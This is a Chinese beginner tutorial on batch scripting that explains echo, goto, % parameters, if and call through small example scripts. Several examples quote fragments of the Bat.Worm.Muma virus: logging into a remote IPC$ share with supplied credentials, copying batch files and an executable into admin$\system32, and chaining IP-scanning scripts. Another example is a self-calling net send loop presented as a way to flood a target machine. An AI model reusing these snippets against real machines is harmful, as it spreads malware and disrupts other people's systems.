溫馨提示×

您好,登錄后才能下訂單哦!

密碼登錄×
登錄注冊(cè)×
其他方式登錄
點(diǎn)擊 登錄注冊(cè) 即表示同意《億速云用戶服務(wù)條款》

什么是批處理

發(fā)布時(shí)間:2021-09-30 09:08:40 來(lái)源:億速云 閱讀:185 作者:iii 欄目:開(kāi)發(fā)技術(shù)

這篇文章主要講解了“什么是批處理”,文中的講解內(nèi)容簡(jiǎn)單清晰,易于學(xué)習(xí)與理解,下面請(qǐng)大家跟著小編的思路慢慢深入,一起來(lái)研究和學(xué)習(xí)“什么是批處理”吧!

   OK,never claver and get to business(閑話少說(shuō)言歸正傳)。批處理,也稱為批處理腳本,英文譯為BATCH,批處理文件后綴BAT就取的前三個(gè)字母。它的構(gòu)成沒(méi)有固定格式,只要遵守以下這條就ok了:每一行可視為一個(gè)命令,每個(gè)命令里可以含多條子命令,從第一行開(kāi)始執(zhí)行,直到最后一行結(jié)束,它運(yùn)行的平臺(tái)是DOS。批處理有一個(gè)很鮮明的特點(diǎn):使用方便、靈活,功能強(qiáng)大,自動(dòng)化程度高。我不想讓自己寫(xiě)的教程枯燥無(wú)味,因?yàn)闋坷p到代碼(批處理的內(nèi)容算是代碼吧?)的問(wèn)題本來(lái)就是枯燥的,很少有人能面對(duì)滿屏幕的代碼而靜下心來(lái)。所以我會(huì)用很多簡(jiǎn)單實(shí)用的例子讓讀這篇教程的朋友去體會(huì)批處理的那四射的魅力,感受它那古靈精怪的性格,不知不覺(jué)中愛(ài)上批處理(暈,怎么又是愛(ài)?到底批處理和愛(ài)有什么關(guān)系?答案:沒(méi)有?。?。再說(shuō)句“閑話”:要學(xué)好批處理,DOS基礎(chǔ)一定要牢!當(dāng)然腦子靈活也是很重要的一方面。

   例一、先給出一個(gè)最easy的批處理腳本讓大家和它混個(gè)臉熟,將下面的幾行命令保存為name.bat然后執(zhí)行(以后文中只給出代碼,保存和執(zhí)行方式類似):

ping sz.tencent.com > a.txt
ping sz1.tencent.com >> a.txt
ping sz2.tencent.com >> a.txt
ping sz3.tencent.com >> a.txt
ping sz4.tencent.com >> a.txt
ping sz5.tencent.com >> a.txt
ping sz6.tencent.com >> a.txt
ping sz7.tencent.com >> a.txt
exit

   是不是都能看的懂?是不是很easy?但它的作用卻是很實(shí)用的,執(zhí)行這個(gè)批處理后,可以在你的當(dāng)前盤(pán)建立一個(gè)名為a.txt的文件,它里面記錄的信息可以幫助你迅速找到速度最快的QQ服務(wù)器,從而遠(yuǎn)離“從服務(wù)器中轉(zhuǎn)”那一痛苦的過(guò)程。這里>的意思,是把前面命令得到的東西放到后面所給的地方,>>的作用,和>的相同,區(qū)別是把結(jié)果追加到前一行得出的結(jié)果的后面,具體的說(shuō)是下一行,而前面一行命令得出的結(jié)果將保留,這樣可以使這個(gè)a.txt文件越來(lái)越大(想到如何搞破壞了??)。By the way,這個(gè)批處理還可以和其他命令結(jié)合,搞成完全自動(dòng)化判斷服務(wù)器速度的東東,執(zhí)行后直接顯示速度最快的服務(wù)器IP,是不是很爽?后面還將詳細(xì)介紹。

   例二、再給出一個(gè)已經(jīng)過(guò)時(shí)的例子(a.bat):

@echo off
if exist C:\Progra~1\Tencent\AD\*.gif del C:\Progra~1\Tencent\AD\*.gif
a.bat

   為什么說(shuō)這是個(gè)過(guò)時(shí)的例子呢?很簡(jiǎn)單,因?yàn)楝F(xiàn)在已經(jīng)幾乎沒(méi)有人用帶廣告的QQ了(KAO,我的QQ還顯示好友三圍呢?。。?,所以它幾乎用不上了。但曾經(jīng)它的作用是不可小窺的:刪除QQ的廣告,讓對(duì)話框干干凈凈。這里用的地址是QQ的默認(rèn)安裝地址,默認(rèn)批處理文件名為a.bat,你當(dāng)然可以根據(jù)情況自行修改。在這個(gè)腳本中使用了if命令,使得它可以達(dá)到適時(shí)判斷和刪除廣告圖片的效果,你只需要不關(guān)閉命令執(zhí)行后的DOS窗口,不按CTRL+C強(qiáng)行終止命令,它就一直監(jiān)視是否有廣告圖片(QQ也再不斷查看自己的廣告是否被刪除)。當(dāng)然這個(gè)腳本占用你一點(diǎn)點(diǎn)內(nèi)存,呵呵。

   例三,使用批處理腳本查是否中冰河。腳本內(nèi)容如下:

@echo off
netstat -a -n > a.txt
type a.txt | find "7626" && echo "Congratulations! You have infected GLACIER!"
del a.txt 
pause & exit

   這里利用了netstat命令,檢查所有的網(wǎng)絡(luò)端口狀態(tài),只需要你清楚常見(jiàn)木馬所使用的端口,就能很easy的判斷出來(lái)是否被人種了冰河。然這不是確定的,因?yàn)楸幽J(rèn)的端口7626,完全可以被人修改。這里介紹的只是方法和思路。這里介紹的是方法和思路稍做改動(dòng),就變成可以檢查其他木馬的腳本了,再改動(dòng)一下,加進(jìn)去參數(shù)和端口及信息列表文件后,就變成自動(dòng)檢測(cè)所有木馬的腳本了。呵呵,是不是很過(guò)癮?腳本中還利用了組合命令&&和管道命令|,后面將詳細(xì)介紹。

   例四,借批處理自動(dòng)清除系統(tǒng)垃圾,腳本如下:

@echo off
if exist c:\windows\temp\*.* del c:\windows\temp\*.* 
if exist c:\windows\Tempor~1\*.* del c:\windows\Tempor~1\*.* 
if exist c:\windows\History\*.* del c:\windows\History\*.* 
if exist c:\windows\recent\*.* del c:\windows\recent\*.* 

   將以上腳本內(nèi)容保存到autoexec.bat里,每次開(kāi)機(jī)時(shí)就把系統(tǒng)垃圾給自動(dòng)刪除了。這里需要注意兩點(diǎn):一、DOS不支持長(zhǎng)文件名,所以就出現(xiàn)了Tempor~1這個(gè)東東;二、可根據(jù)自己的實(shí)際情況進(jìn)行改動(dòng),使其符合自己的要求。

   怎么樣,看到這里,你對(duì)批處理腳本是不是已經(jīng)有點(diǎn)興趣了?是不是發(fā)現(xiàn)自己已經(jīng)慢慢愛(ài)上了這個(gè)東東?別高興的太早,愛(ài)不是一件簡(jiǎn)單的事,它也許能帶給你快樂(lè)和幸福,當(dāng)然也能讓你痛苦的想去跳樓。如果你知道很難還敢繼續(xù)的話,I 服了 YOU!繼續(xù)努力吧,也許到最后你不一定得到真愛(ài)(真的有這可能,愛(ài)過(guò)的人都知道),但你可以體會(huì)到整個(gè)愛(ài)的過(guò)程,就是如此。 酸、苦和辣,有沒(méi)有甜天知道。

   為什么會(huì)把批處理和愛(ài)情扯上關(guān)系?不是我無(wú)聊,也不是因?yàn)檫@樣寫(xiě)有趣多少,原因有二:其一,批處理和愛(ài)情有很多相同的地方,有些地方我用“專業(yè)”的行話解釋不清(我不懷疑自己的表達(dá)能力,而是事情本身就不好說(shuō)清楚),說(shuō)了=沒(méi)說(shuō),但用地球人都知道的愛(ài)情一比喻(愛(ài)情是什么?我**怎么知道?。。?,沒(méi)準(zhǔn)你心里一下就亮堂了,事半功倍,何樂(lè)而不為?其二,我這段時(shí)間狀態(tài)不是很好,感冒發(fā)燒頭疼鼻塞,但主要還是感情上精神摧殘,搞的人煩透了,借寫(xiě)教程之際感慨幾句,大家就全當(dāng)買(mǎi)狗皮膏藥了,完全可以省略不看(也許還真有點(diǎn)效果----不至于讓你看著看著就睡著了,把頭磕了來(lái)找我報(bào)銷醫(yī)藥費(fèi))。說(shuō)不定下次的教程中大家還會(huì)看到楊過(guò)、張無(wú)忌等金老前輩筆下的英雄們。 

看過(guò)第一章的朋友,一定對(duì)批處理有了初步的印象,知道它到底是用來(lái)干什么的了。但你知道運(yùn)用批處理的精髓在哪里嗎?其實(shí)很簡(jiǎn)單:思路要靈活!沒(méi)有做不到的,只有想不到的。這和愛(ài)情就有點(diǎn)不同了,因?yàn)閻?ài)情的世界是兩個(gè)人的世界,一廂情愿不叫愛(ài)情(補(bǔ)充:那叫單戀。廢話!)而批處理卻是一個(gè)人的天堂,你可以為所欲為,沒(méi)有達(dá)不到的境界!

   批處理看起來(lái)雜亂無(wú)章,但它的邏輯性之強(qiáng),絕對(duì)不比其他程序語(yǔ)言(如匯編)低,如果你寫(xiě)的腳本是一堆亂麻,雖然每一行命令都正確,但從頭執(zhí)行到尾后,不一定得到你想要的結(jié)果,也許是一屏幕的Bad command or fail name。這又和愛(ài)情有了共同點(diǎn):按步驟來(lái)經(jīng)營(yíng),缺少或增多的步驟都可能導(dǎo)致不想看見(jiàn)的結(jié)果。陷入愛(ài)河的朋友,相信沒(méi)有不肯定這句話的。我的愛(ài)情批處理,輸出的結(jié)果不是Bad command or fail name,屏幕是這么顯示的:‘你的愛(ài)情'不是內(nèi)部或外部命令,也不是可運(yùn)行的程序或批處理文件。然后就是光標(biāo)不停閃動(dòng),等待這下一次錯(cuò)誤的輸入。

   從這一章開(kāi)始,將由淺入深的介紹批處理中常用的命令,很多常見(jiàn)DOS命令在批處理腳本中有這廣泛的應(yīng)用,它們是批處理腳本的BODY部分,但批處理比DOS更靈活多樣,更具備自動(dòng)化。要學(xué)好批處理,DOS一定要有比較扎實(shí)的基礎(chǔ)。這里只講述一些比較少用(相對(duì)來(lái)說(shuō))的DOS命令,常用命令如COPY、DIR等就不做介紹了(這些看似簡(jiǎn)單的命令實(shí)際復(fù)雜的很,我怕自己都說(shuō)不清楚!)。
例五,先看一個(gè)實(shí)例。這是一個(gè)很有意思的腳本,一個(gè)小巧實(shí)用的好東東,把批處理“自動(dòng)化”的特點(diǎn)體現(xiàn)的淋漓盡致。先介紹一下這個(gè)腳本的來(lái)歷:大家都知道匯編程序(MASM)的上機(jī)過(guò)程,先要對(duì)源代碼進(jìn)行匯編、連接,然后再執(zhí)行,而這中間有很多環(huán)節(jié)需要輸入很多東西,麻煩的很(只有經(jīng)歷過(guò)的朋友才懂得)。如何使這個(gè)過(guò)程變的簡(jiǎn)單呢?在我們搞匯編課程設(shè)計(jì)時(shí),我“被逼”寫(xiě)了這個(gè)腳本,用起來(lái)很爽,呵呵??纯茨_本內(nèi)容:

@echo off 
::close echo
cls
::clean screen                                                           
echo            This programme is to make the MASM programme automate  
::display info
echo                           Edit by CODERED                     
::display info
echo                   Mailto me : qqkiller***@sina.com              
::display info
if "%1"=="" goto usage      
::if input without paramater goto usage
if "%1"=="/?" goto usage    
::if paramater is "/?" goto usage
if "%1"=="help" goto usage  
::if paramater is "help" goto usage 
pause     
::pause to see usage
masm %1.asm    
::assemble the .asm code
if errorlevel 1 pause & edit %1.asm   
::if error pause to see error msg and edit the code
link %1.obj & %1       
::else link the .obj file and execute the .exe file
:usage                      
::set usage
echo Usage: This BAT file name [asm file name] 
echo Default BAT file name is START.BAT 
::display usage

   先不要被這一堆的東西給嚇怕了,靜下心來(lái)仔細(xì)的看(回想一下第一章中第一段是怎么寫(xiě)的?。。?。已經(jīng)給出了每一行命令的解釋,兩個(gè)冒號(hào)后面的內(nèi)容為前一行內(nèi)容解釋的E文(害怕E文的朋友也不用擔(dān)心,都很easy,一看就懂了,實(shí)在不懂了不會(huì)查詞典啊,這么懶?),在腳本執(zhí)行時(shí)不顯示,也不起任何作用。倒數(shù)第5行行首有一個(gè)冒號(hào),可不是筆誤哦!具體作用后面會(huì)詳細(xì)講到。此腳本中masm和link是匯編程序和連接程序,必須和edit程序以及你要編輯的源代碼(當(dāng)然還有這個(gè)腳本,廢話?。┮黄鹪诋?dāng)前目錄中。使用這個(gè)批處理腳本,可以最大可能的減少手工輸入,整個(gè)過(guò)程中只需要按幾下回車鍵,即可實(shí)現(xiàn)從匯編源代碼到可執(zhí)行exe文件的自動(dòng)化轉(zhuǎn)換,并具備智能判斷功能:如果匯編時(shí)源代碼出現(xiàn)錯(cuò)誤(匯編不成功),則自動(dòng)暫停顯示錯(cuò)誤信息,并在按任意鍵后自動(dòng)進(jìn)入編輯源代碼界面;如果源代碼匯編成功,則進(jìn)行連接,并在連接后自動(dòng)執(zhí)行生成的exe文件。另外,由于批處理命令的簡(jiǎn)單性和靈活性,這個(gè)腳本還具備良好的可改進(jìn)性,簡(jiǎn)單進(jìn)行修改就可以符合不同朋友的上機(jī)習(xí)慣。正在學(xué)匯編的朋友,一定別忘了實(shí)習(xí)一下!

   在這個(gè)腳本中出現(xiàn)了如下幾個(gè)命令:@、echo、::、pause、:和goto、%以及if。而這一章就將講述這幾個(gè)命令。 

1、@

   這個(gè)符號(hào)大家都不陌生,email的必備符號(hào),它怎么會(huì)跑到批處理中呢?呵呵,不是它的錯(cuò),批處理本來(lái)就離不開(kāi)它,要不就不完美了。它的作用是讓執(zhí)行窗口中不顯示它后面這一行的命令本身(多么繞口的一句話!)。呵呵,通俗一點(diǎn)說(shuō),行首有了它的話,這一行的命令就不顯示了。在例五中,首行的@echo off中,@的作用就是讓腳本在執(zhí)行時(shí)不顯示后面的echo off部分。這下懂了吧?還是不太懂?沒(méi)關(guān)系,看完echo命令簡(jiǎn)介,自然就懂了。

2、echo 

   中文為“反饋”、“回顯”的意思。它其實(shí)是一個(gè)開(kāi)關(guān)命令,就是說(shuō)它只有兩種狀態(tài):打開(kāi)和關(guān)閉。于是就有了echo on和echo off兩個(gè)命令了。直接執(zhí)行echo命令將顯示當(dāng)前echo命令狀態(tài)(off或on)執(zhí)行echo off將關(guān)閉回顯,它后面的所有命令都不顯示命令本身,只顯示執(zhí)行后的結(jié)果,除非執(zhí)行echo on命令。在例五中,首行的@命令和echo off命令聯(lián)合起來(lái),達(dá)到了兩個(gè)目的:不顯示echo off命令本身,不顯示以后各行中的命令本身。的確是有點(diǎn)亂,但你要是練習(xí)一下的話,3分鐘包會(huì),不會(huì)的退錢(qián)!

   echo命令的另一種用法一:可以用它來(lái)顯示信息!如例五中倒數(shù)第二行,Default BAT file name is START.BAT將在腳本執(zhí)行后的窗口中顯示,而echo命令本身不顯示(為什么??)。
   echo命令的另一種用法二:可以直接編輯文本文件。例六:

echo nbtstat -A 192.168.0.1 > a.bat
echo nbtstat -A 192.168.0.2 >> a.bat
echo nbtstat -A 192.168.0.3 >> a.bat

   以上腳本內(nèi)容的編輯方法是,直接是命令行輸入,每行一回車。最后就會(huì)在當(dāng)前目錄下生成一個(gè)a.bat的文件,直接執(zhí)行就會(huì)得到結(jié)果。

3、::

   這個(gè)命令的作用很簡(jiǎn)單,它是注釋命令,在批處理腳本中和rem命令等效。它后面的內(nèi)容在執(zhí)行時(shí)不顯示,也不起任何作用,因?yàn)樗皇亲⑨?,只是增加了腳本的可讀性,和C語(yǔ)言中的/*…………*/類似。地球人都能看懂,就不多說(shuō)了。

4、pause

   中文為“暫?!钡囊馑迹纯茨愕膚orkman上),我一直認(rèn)為它是批處理中最簡(jiǎn)單的一個(gè)命令,單純、實(shí)用。它的作用,是讓當(dāng)前程序進(jìn)程暫停一下,并顯示一行信息:請(qǐng)按任意鍵繼續(xù). . .。在例五中這個(gè)命令運(yùn)用了兩次,第一次的作用是讓使用者看清楚程序信息,第二個(gè)是顯示錯(cuò)誤的匯編代碼信息(其實(shí)不是它想顯示,而是masm程序在顯示錯(cuò)誤信息時(shí)被暫它停了,以便讓你看清楚你的源代碼錯(cuò)在哪里)。

5、:和goto

   為什么要把這兩個(gè)命令聯(lián)合起來(lái)介紹?因?yàn)樗鼈兪欠植婚_(kāi)的,無(wú)論少了哪個(gè)或多了哪個(gè)都會(huì)出錯(cuò)。goto是個(gè)跳轉(zhuǎn)命令,:是一個(gè)標(biāo)簽。當(dāng)程序運(yùn)行到goto時(shí),將自動(dòng)跳轉(zhuǎn)到:定義的部分去執(zhí)行了(是不是分不開(kāi)?)。例五中倒數(shù)第5行行首出現(xiàn)一個(gè):,則程序在運(yùn)行到goto時(shí)就自動(dòng)跳轉(zhuǎn)到:標(biāo)簽定義的部分執(zhí)行,結(jié)果是顯示腳本usage(usage就是標(biāo)簽名稱)。不難看出,goto命令就是根據(jù)這個(gè)冒號(hào)和標(biāo)簽名稱來(lái)尋找它該跳轉(zhuǎn)的地方,它們是一一對(duì)應(yīng)的關(guān)系。goto命令也經(jīng)常和if命令結(jié)合使用。至于這兩個(gè)命令具體用法,參照例五。

   goto命令的另一種用法一:提前結(jié)束程序。在程序中間使用goto命令跳轉(zhuǎn)到某一標(biāo)簽,而這一標(biāo)簽的內(nèi)容卻定義為退出。如:

……
goto end
……
:end 

   這里:end在腳本最后一行!其實(shí)這個(gè)例子很弱智,后面講了if命令和組合命令你就知道了。

6、%

   這個(gè)百分號(hào)嚴(yán)格來(lái)說(shuō)是算不上命令的,它只是批處理中的參數(shù)而已(多個(gè)%一起使用的情況除外,以后還將詳細(xì)介紹),但千萬(wàn)別以為它只是參數(shù)就小看了它(看看例五中有多少地方用到它?),少了它批處理的功能就減少了51%了。看看例七:

net use \\%1\ipc$ %3 /u:"%2"
copy 11.BAT \\%1\admin$\system32 /y
copy 13.BAT \\%1\admin$\system32 /y
copy ipc2.BAT \\%1\admin$\system32 /y
copy NWZI.EXE \\%1\admin$\system32 /y
attrib \\%1\admin$\system32\10.bat -r -h -s

   以上代碼是Bat.Worm.Muma病毒中的一部分,%1代表的IP,2%代表的username,3%代表password。執(zhí)行形式為:腳本文件名 參數(shù)一 參數(shù)二 ……。假設(shè)這個(gè)腳本被保存為a.bat,則執(zhí)行形式如下:a IP username password。這里IP、username、password是三個(gè)參數(shù),缺一不可(因?yàn)槌绦虿荒苷_運(yùn)行,并不是因?yàn)樯倭藚?shù)語(yǔ)法就不對(duì))這樣在腳本執(zhí)行過(guò)程中,腳本就自動(dòng)用用你的三個(gè)參數(shù)依次(記住,是依次!也是一一對(duì)應(yīng)的關(guān)系。)代換1%、2%和3%,這樣就達(dá)到了靈活運(yùn)用的目的(試想,如果在腳本中直接把IP、username和password都定義死,那么腳本的作用也就被固定了,但如果使用%的話,不同的參數(shù)可以達(dá)到不同的目的,是不是更靈活?)。

   關(guān)于這個(gè)參數(shù)的使用,在后續(xù)章節(jié)中還將介紹。一定要非常熟練才行,這需要很多練習(xí)過(guò)程,需要下點(diǎn)狠工夫!

   這一章就寫(xiě)到這里了??赡苡信笥褑?wèn)了:怎么沒(méi)介紹if命令?呵呵,不是我忘了,而是它不容易說(shuō)清楚,下一章再講了!這一章講的這點(diǎn)東西,如果你是初學(xué)者,恐怕也夠消化的了。記住一句話:DOS是批處理的BODY,任何一個(gè)DOS命令都可以被用在批處理腳本中去完成特定的功能。到這里,你是否已經(jīng)想到了用自己肚子里的東西去寫(xiě)點(diǎn)帶有自動(dòng)化色彩的東東呢?很簡(jiǎn)單,就是一個(gè)DOS命令的集合而已,相信自稱為天才的你已經(jīng)會(huì)把計(jì)算機(jī)等級(jí)考試上機(jī)試題中的DOS部分用批處理來(lái)自動(dòng)化完成了。

   煩!就好象一個(gè)半老女人到了更年期,什么事都想嘮叨幾句,什么事都感到不舒服,看誰(shuí)誰(shuí)不爽。明知山有虎,偏向虎山行,最后留下一身傷痕無(wú)功而返時(shí),才發(fā)現(xiàn)自己竟然如此脆弱,如此渺小,如此不堪一擊。徘徊在崩潰的邊緣,突然回想起了自己最后一次扁人的那一刻,還真有點(diǎn)懷念(其實(shí)我很不喜歡扁人,更不喜歡被人扁)。我需要發(fā)泄,我用手指拼命的敲打著鍵盤(pán),在一陣接一陣有節(jié)奏的聲音中,屏幕上出現(xiàn)了上面的這些文字??呻y道這就是發(fā)泄的另一種方式嗎?中國(guó)人還是厲害,早在幾千年前孔老夫子就說(shuō)過(guò)“唯女子與小人,難養(yǎng)也”,真**有先見(jiàn)之明,佩服!雖然是在發(fā)泄,不過(guò)大家請(qǐng)放心,以我的脾氣,既然決定寫(xiě)這篇教程,就一定會(huì)盡力去寫(xiě)好,寫(xiě)完美,絕對(duì)不給自己留下遺憾,要不這教程就不是我寫(xiě)的! 

曾經(jīng)有一篇經(jīng)典的批處理教程出現(xiàn)在你的屏幕上,你沒(méi)有保存,直到找不到它的鏈接你才后悔莫及,人世間最大的痛苦莫過(guò)于此。如果上天能給你一個(gè)再看一次的機(jī)會(huì),你會(huì)對(duì)那篇教程說(shuō)三個(gè)字:我愛(ài)你!如果非要給這份愛(ài)加上一個(gè)期限,你希望是100年。因?yàn)?00年后,你恐怕早已經(jīng)掛了!而現(xiàn)在,你的屏幕上出現(xiàn)了這篇你正在看的批處理教程,雖然不如你曾經(jīng)看的那篇經(jīng)典,但如果勉強(qiáng)還過(guò)的去。你會(huì)愛(ài)它嗎?時(shí)間會(huì)有50年那么長(zhǎng)嗎?答案是:試試看吧。 

   批處理腳本中最重要的幾個(gè)命令,將在這一章詳細(xì)介紹,但是很遺憾,有些細(xì)節(jié)到現(xiàn)在我都沒(méi)掌握的很好,甚至還有些生分。如同還不太懂得愛(ài)一樣。但我一直都在努力,即使一直都沒(méi)有收獲。所以可能講的會(huì)比較籠統(tǒng),但我會(huì)告訴你方法,剩下的就是時(shí)間問(wèn)題了,需要自己去磨練。讓我們共同努力吧。冰凍三尺非一日之寒,滴水穿石非一日之功。有些事情,比如學(xué)批處理,比如愛(ài)一個(gè)人,都是不能速成的,甚至還會(huì)有付出艱辛而收獲為甚微的情況。再次重申,看這篇教程的時(shí)候,一定要靜下心來(lái),除非你已經(jīng)掌握了這篇教程的所有東西----但那也就不必看了,浪費(fèi)時(shí)間! 

7、if 

   接上一章,接著講if命令。總的來(lái)說(shuō),if命令是一個(gè)表示判斷的命令,根據(jù)得出的每一個(gè)結(jié)果,它都可以對(duì)應(yīng)一個(gè)相應(yīng)的操作。關(guān)于它的三種用法,在這里分開(kāi)講。 

(1)、輸入判斷。還是用例五里面的那幾句吧: 

if "%1"=="" goto usage 
if "%1"=="/?" goto usage 
if "%1"=="help" goto usage 

   這里判斷輸入的參數(shù)情況,如果參數(shù)為空(無(wú)參數(shù)),則跳轉(zhuǎn)到usage;如果參數(shù)為/?或help時(shí)(大家一般看一個(gè)命令的幫助,是不是輸入的/?或help呢,這里這么做只是為了讓這個(gè)腳本看起來(lái)更像一個(gè)真正的程序),也跳轉(zhuǎn)到usage。這里還可以用否定形式來(lái)表示“不等于”,例如:if not "%1"=="" goto usage,則表示如果輸入?yún)?shù)不為空就跳轉(zhuǎn)到usage(實(shí)際中這樣做就沒(méi)意義了,這里介紹用法,管不了那么多了,呵呵。)是不是很簡(jiǎn)單?其實(shí)翻譯成中文體會(huì)一下就understand了。 

(2)、存在判斷。再看例二里這句: 

if exist C:\Progra~1\Tencent\AD\*.gif del C:\Progra~1\Tencent\AD\*.gif 

   如果存在那些gif文件,就刪除這些文件。當(dāng)然還有例四,都是一樣的道理。注意,這里的條件判斷是判斷存在的,當(dāng)然也可以判斷不存在的,例如下面這句“如果不存在那些gif文件則退出腳本”:if not exist C:\Progra~1\Tencent\AD\*.gif exit。只是多一個(gè)not來(lái)表示否定而已。 

(3)、結(jié)果判斷。還是拿例五開(kāi)刀(沒(méi)想到自己寫(xiě)的腳本,竟然用處這么大,呵呵): 

masm %1.asm 
if errorlevel 1 pause & edit %1.asm 
link %1.obj 

   先對(duì)源代碼進(jìn)行匯編,如果失敗則暫停顯示錯(cuò)誤信息,并在按任意鍵后自動(dòng)進(jìn)入編輯界面;否則用link程序連接生成的obj文件。這里只介紹一下和if命令有關(guān)的地方,&命令后面會(huì)講到。這種用法是先判斷前一個(gè)命令執(zhí)行后的返回碼(也叫錯(cuò)誤碼,DOS程序在運(yùn)行完后都有返回碼),如果和定義的錯(cuò)誤碼符合(這里定義的錯(cuò)誤碼為1),則執(zhí)行相應(yīng)的操作(這里相應(yīng)的操作為pause & edit %1.asm部分)。 

   另外,和其他兩種用法一樣,這種用法也可以表示否定。用否定的形式仍表達(dá)上面三句的意思,代碼變?yōu)椋?nbsp;

masm %1.asm 
if not errorlevel 1 link %1.obj 
pause & edit %1.asm 

   看到本質(zhì)了吧?其實(shí)只是把結(jié)果判斷后所執(zhí)行的命令互換了一下,“if not errorlevel 1”和“if errorlevel 0”的效果是等效的,都表示上一句masm命令執(zhí)行成功(因?yàn)樗清e(cuò)誤判斷,而且返回碼為0,0就表示否定,就是說(shuō)這個(gè)錯(cuò)誤不存在,就是說(shuō)masm執(zhí)行成功)。這里是否加not,錯(cuò)誤碼到底用0還是1,是值得考慮的兩個(gè)問(wèn)題,一旦搭配不成功腳本就肯定出錯(cuò),所以一定要體會(huì)的很深刻才行。如何體會(huì)的深刻?練習(xí)!自己寫(xiě)一個(gè)腳本,然后把有not和沒(méi)有not的情況,返回碼為0或1的情況分別寫(xiě)進(jìn)去執(zhí)行(怎么,嫌麻煩?。颗帕薪M合算一下才四中情況你就嫌麻煩了?后面介紹管道命令和組合命令時(shí)還有更麻煩的呢!怕了?呵呵。),這樣從執(zhí)行的結(jié)果中就能很清楚的看出這兩種情況的區(qū)別。 

   這種用errorlevel結(jié)果判斷的用法是if命令最難的用法,但也恰恰是最有用的用法,如果你不會(huì)用errorlevel來(lái)判斷返回碼,則要達(dá)到相同的效果,必須用else來(lái)表示“否則”的操作,是比較麻煩的。以上代碼必須變成: 

masm %1.asm 
if exist %1.obj link %1.obj 
else pause & edit %1.asm 

   關(guān)于if命令的這三種用法就say到這里,理解很簡(jiǎn)單,但應(yīng)用時(shí)就不一定用的那么得心應(yīng)手,主要是熟練程度的問(wèn)題。可能有的朋友有點(diǎn)驚訝,我怎么沒(méi)給出類似下面三行的用法介紹,是因?yàn)橄旅嫒惺莍f命令幫助里對(duì)它自身用法的解釋,任何人只要一個(gè)“if /?”就能看到,我沒(méi)有必要在這里多費(fèi)口舌;更重要的原因,是我覺(jué)得這樣介紹的不清楚,看的人不一定看的懂,所以我采用上面自己對(duì)if命令的理解來(lái)介紹。一定要注意的是,這三種用法的格式各不相同,而且也是不能改變的,但實(shí)際上可以互換(以為從本質(zhì)上講,這三種用法都是建立在判斷的基礎(chǔ)上的,哲學(xué)教我們學(xué)會(huì)透過(guò)現(xiàn)象看事物本質(zhì)!)。有興趣的朋友可以自己研究一下。 

IF [NOT] ERRORLEVEL number do command 
IF [NOT] string1==string2 do command 
IF [NOT] EXIST filename do command 

8、call 

   學(xué)過(guò)匯編或C的朋友,肯定都知道call指令表示什么意思了,在這里它的意思其實(shí)也是一樣的。在批處理腳本中,call命令用來(lái)從一個(gè)批處理腳本中調(diào)用另一個(gè)批處理腳本。看例八(默認(rèn)的三個(gè)腳本文件名分別為start.bat、10.bat和ipc.bat): 

start.bat: 
…… 
CALL 10.BAT 0 
…… 

10.bat: 
…… 
ECHO %IPA%.%1 >HFIND.TMP 
…… 
CALL ipc.bat IPCFind.txt 

ipc.bat: 
for /f "tokens=1,2,3 delims= " %%i in (%1) do call heiit.bat %%i %%j %%k 

   有沒(méi)有看出什么不對(duì)的地方?沒(méi)看出來(lái)?。繘](méi)看出來(lái)就對(duì)了,其實(shí)就沒(méi)有不對(duì)的地方嘛,你怎么看的出來(lái)!從上面兩個(gè)腳本,你可以得到如下信息:1、腳本調(diào)用可以靈活運(yùn)用,循環(huán)運(yùn)用、重復(fù)運(yùn)用。2、腳本調(diào)用可以使用參數(shù)!關(guān)于第一點(diǎn)就不多說(shuō)了,聰明的你一看就應(yīng)該會(huì),這里說(shuō)一下第二點(diǎn)。 

   在start.bat中,10.bat后面跟了參數(shù)0,在執(zhí)行時(shí)的效果,其實(shí)就是把10.bat里的參數(shù)%1用0代替。在start.bat中,ipc.bat后面跟了參數(shù)ipcfind.txt(一個(gè)文件,也可以做參數(shù)),執(zhí)行時(shí)的效果,就是用ipc.bat中的每一行的三個(gè)變量(這里不懂沒(méi)關(guān)系,學(xué)過(guò)for命令后就懂了),對(duì)應(yīng)代換ipc.bat中的%%i、%%j和%%k。這里參數(shù)調(diào)用是非常靈活的,使用時(shí)需要好好體會(huì)。在初學(xué)期間,可以先學(xué)習(xí)只調(diào)用腳本,至于連腳本的參數(shù)一起使用的情況,在后面的學(xué)習(xí)中自然就會(huì)有比較深刻的理解,這是因?yàn)楫?dāng)你已經(jīng)可以靈活運(yùn)用批處理腳本后,如何使代碼寫(xiě)的更精簡(jiǎn)更完美更高效就自然包括到了考慮的范圍,這時(shí)候你就會(huì)發(fā)現(xiàn)在調(diào)用腳本時(shí)直接加入?yún)?shù),可以使代碼效率加倍。By the way,上面的這幾個(gè)腳本,都是Bat.Worm.Muma病毒的一部分,在后面的教程里,大家將有機(jī)會(huì)見(jiàn)到這個(gè)病毒的真面目。 

   那是不是說(shuō),在同一個(gè)目錄下至少存在兩個(gè)批處理腳本文件(只有一個(gè)你調(diào)用誰(shuí)?)?呵呵,注意了,這句話錯(cuò)了??!只有一個(gè)照樣可以調(diào)用----調(diào)用自身!看例九(默認(rèn)腳本文件名a.bat): 

net send %1 This is a call example. 
call a.bat 

   這兩句一結(jié)合,效果自然不怎么樣,因?yàn)橹挥幸慌_(tái)機(jī)器來(lái)發(fā)消息,誰(shuí)怕誰(shuí)?。课医o你來(lái)個(gè)禮尚往來(lái)!可如果有100臺(tái)機(jī)器同時(shí)執(zhí)行,而且每臺(tái)機(jī)器開(kāi)10和窗口同時(shí)向一個(gè)目標(biāo)機(jī)器發(fā)消息的話,呵呵。這里call a.bat的作用就是調(diào)用自身,執(zhí)行完前一句net send命令后再調(diào)用自身,達(dá)到了循環(huán)執(zhí)行的目的。 

   給出一個(gè)很有意思的腳本,有興趣的朋友可以實(shí)驗(yàn)一下。例十(默認(rèn)腳本文件名為a.bat): 

call a.bat 

   一定要在DOS窗口下執(zhí)行,否則只會(huì)看到一個(gè)窗口一閃而過(guò),看不到最后結(jié)果。等執(zhí)行完后,當(dāng)腳本被執(zhí)行了1260次,別忘了想一下到底是為什么!愛(ài)情有時(shí)候跟這個(gè)腳本一樣,一旦陷入死循環(huán),最后的結(jié)果都是意想不到的。只是愛(ài)情,絕對(duì)不會(huì)等到被毫無(wú)理由的循環(huán)這么多次,也許在第三次時(shí)就出現(xiàn)了love is aborted的提示。 

9、find 

